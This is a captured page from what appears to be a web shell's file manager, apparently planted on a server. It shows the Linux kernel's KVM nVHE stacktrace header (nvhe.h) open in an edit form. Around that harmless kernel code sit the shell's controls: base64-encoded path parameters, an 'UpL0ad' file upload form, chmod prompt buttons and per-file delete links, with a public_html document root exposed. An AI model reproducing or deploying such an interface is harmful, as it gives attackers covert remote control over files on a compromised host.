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<hr>nvhe.h<form method=post action="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&f=bnZoZS5o"><input name="f" value="nvhe.h"><textarea name="t">/* SPDX-License-Identifier: GPL-2.0-only */
/*
 * KVM nVHE hypervisor stack tracing support.
 *
 * The unwinder implementation depends on the nVHE mode:
 *
 *   1) Non-protected nVHE mode - the host can directly access the
 *      HYP stack pages and unwind the HYP stack in EL1. This saves having
 *      to allocate shared buffers for the host to read the unwinded
 *      stacktrace.
 *
 *   2) pKVM (protected nVHE) mode - the host cannot directly access
 *      the HYP memory. The stack is unwinded in EL2 and dumped to a shared
 *      buffer where the host can read and print the stacktrace.
 *
 * Copyright (C) 2022 Google LLC
 */
#ifndef __ASM_STACKTRACE_NVHE_H
#define __ASM_STACKTRACE_NVHE_H

#include &lt;asm/stacktrace/common.h&gt;

/**
 * kvm_nvhe_unwind_init() - Start an unwind from the given nVHE HYP fp and pc
 *
 * @state : unwind_state to initialize
 * @fp    : frame pointer at which to start the unwinding.
 * @pc    : program counter at which to start the unwinding.
 */
static inline void kvm_nvhe_unwind_init(struct unwind_state *state,
					unsigned long fp,
					unsigned long pc)
{
	unwind_init_common(state);

	state-&gt;fp = fp;
	state-&gt;pc = pc;
}

#ifndef __KVM_NVHE_HYPERVISOR__
/*
 * Conventional (non-protected) nVHE HYP stack unwinder
 *
 * In non-protected mode, the unwinding is done from kernel proper context
 * (by the host in EL1).
 */

DECLARE_KVM_NVHE_PER_CPU(unsigned long [OVERFLOW_STACK_SIZE/sizeof(long)], overflow_stack);
DECLARE_KVM_NVHE_PER_CPU(struct kvm_nvhe_stacktrace_info, kvm_stacktrace_info);
DECLARE_PER_CPU(unsigned long, kvm_arm_hyp_stack_page);

void kvm_nvhe_dump_backtrace(unsigned long hyp_offset);

#endif	/* __KVM_NVHE_HYPERVISOR__ */
#endif	/* __ASM_STACKTRACE_NVHE_H */
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/src/linux-headers-6.8.0-124/arch/arm64/include/asm/stacktrace<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&x=Y29tbW9uLmg=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&f=Y29tbW9uLmg="/>common.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&f=Y29tbW9uLmg=&c=`+btoa(c):0" value="0644"></td><td>3701</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&x=bnZoZS5o">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&f=bnZoZS5o"/>nvhe.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS9zdGFja3RyYWNl&f=bnZoZS5o&c=`+btoa(c):0" value="0644"></td><td>1730</td></tr></table>